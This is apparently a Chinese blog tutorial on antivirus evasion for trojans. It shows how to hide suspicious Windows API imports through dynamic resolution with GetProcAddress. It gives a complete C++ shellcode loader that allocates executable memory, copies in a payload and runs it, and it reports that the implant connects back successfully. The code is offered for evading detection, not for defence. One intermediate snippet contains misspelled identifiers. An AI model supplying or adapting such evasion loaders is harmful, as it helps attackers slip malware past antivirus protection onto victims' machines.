免杀笔记 ----＞动态调用

前一段时间不是说要进行IAT表的隐藏吗，终于给我逮到时间来写了，今天就来先将最简单的一种方式 ----> 动态调用！！！

1.静态查杀

这里还是说一下我们为什么要对他进行隐藏呢？？？首先就是我们的杀软规则

：：我的静态查杀很强

对于杀软，像上面说的赛门铁克，它的静态查杀就很强！！而他们又是怎么静态查杀的呢？？？

IAT表（还记不记得我以前说这个玩意在免杀里面很重要！！！）

我们自己随便拉一个简单的木马看看导入表，我们的导入表里面是能看见我们所用的WindowsAPI的，其中像这种 VirtualAlloc ，OpenProcess ，CreateThread 这种被查杀到就基本等死

这时候就有意思了，我们来看看Chrome这个exe的导入表

这么多危险函数，这不应该直接给他杀死？？（我的马都没这么多危险函数）

：：区别对待是吧。。。。。

但是你也不看看人家是什么exe，人家是微软的EXE啊！！有数字签名的！！！

对于这种有数字签名的，它无论使用多么危险的函数，强如赛门铁克也是拿他没办法的！

那么我们又没办法拿到这个签名，我们应该怎么去免杀呢？？

加壳，通过加壳我们可以实现导入一个假的IAT表
动态调用，其实就是在Ring3层对函数进行重写

2.动态调用

那么下面，我们就来讲一下我们的动态调用的用法。

我们先最简单的贴出来一段Loader

#include<iostream>
#include<Windows.h>
using namespace std;
/* length: 891 bytes */
char buf[] = "";
int main()
{
    void * p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	memcpy(p, buf, sizeof(buf));
	((void(*)())p)();
	return 0;
}

首先我们去看他的导入表，我们要去隐藏掉这个显眼包！！！

该怎么做呢，我们点进去这个函数

然后我们将这一段复制出来

LPVOID
WINAPI
VirtualAlloc(
    _In_opt_ LPVOID lpAddress,
    _In_     SIZE_T dwSize,
    _In_     DWORD flAllocationType,
    _In_     DWORD flProtect
    )

然后我们这样写

LPVOID  新的函数的名字(
    _In_opt_ LPVOID lpAddress,
    _In_     SIZE_T dwSize,
    _In_     DWORD flAllocationType,
    _In_     DWORD flProtect
    )
{
}

然后我们在中括号中先这样写

加了个括号，加了个TYEPDEF,并且将VirtualAlloc 改成了 *FN_VirtualAlloc

typedef LPVOID (WINAPI *FN_VirtualAlloc)(
    _In_opt_ LPVOID lpAddress,
    _In_     SIZE_T dwSize,
    _In_     DWORD flAllocationType,
    _In_     DWORD flProtect
    )

然后我们去获取函数的HMODULE（是不是感觉有点熟悉，我们之前也在写DLL注入里面用过）

并且接收它（这个类型是Fn_Virtualloc，不是我们的Hide_VirtualAlloc!!）

HMODULE VirtualAllocHandle = GetModuleHandleW(L"Kernel32.dll");
Fn_VirtualAlloc ptr = (Fn_VirtualAlloc)GetProcAddress(VirtualAlocHandle,"VirtuallAlloc");

然后照猫画虎的返回就是了

  return ptr(lpAddress, dwSize, flAllocationType, flProtect);

然后我们就能在我们的函数中直接进行调用了！！！！！

#include<iostream>
#include<Windows.h>
using namespace std;
/* length: 891 bytes */
/* length: 891 bytes */
unsigned char buf[] = "";



LPVOID  Hide_VirtualAlloc(
    _In_opt_ LPVOID lpAddress,
    _In_     SIZE_T dwSize,
    _In_     DWORD flAllocationType,
    _In_     DWORD flProtect
)
{
    typedef LPVOID(WINAPI* Fn_VirtualAlloc)(
        _In_opt_ LPVOID lpAddress,
        _In_     SIZE_T dwSize,
        _In_     DWORD flAllocationType,
        _In_     DWORD flProtect
        );
    HMODULE VirtualAllocHandle = GetModuleHandleW(L"KERNEL32.dll");
    if (VirtualAllocHandle == NULL)
    {
        VirtualAllocHandle = LoadLibraryW(L"KERNEL32.dll");
  
    }
    Fn_VirtualAlloc ptr = (Fn_VirtualAlloc)GetProcAddress(VirtualAllocHandle,"VirtualAlloc");
    return ptr(lpAddress, dwSize, flAllocationType, flProtect);

}
int main()
{
    void * p = Hide_VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	memcpy(p, buf, sizeof(buf));
	((void(*)())p)();
	return 0;
}

这时候我们再上线，发现是能成功上线的！！！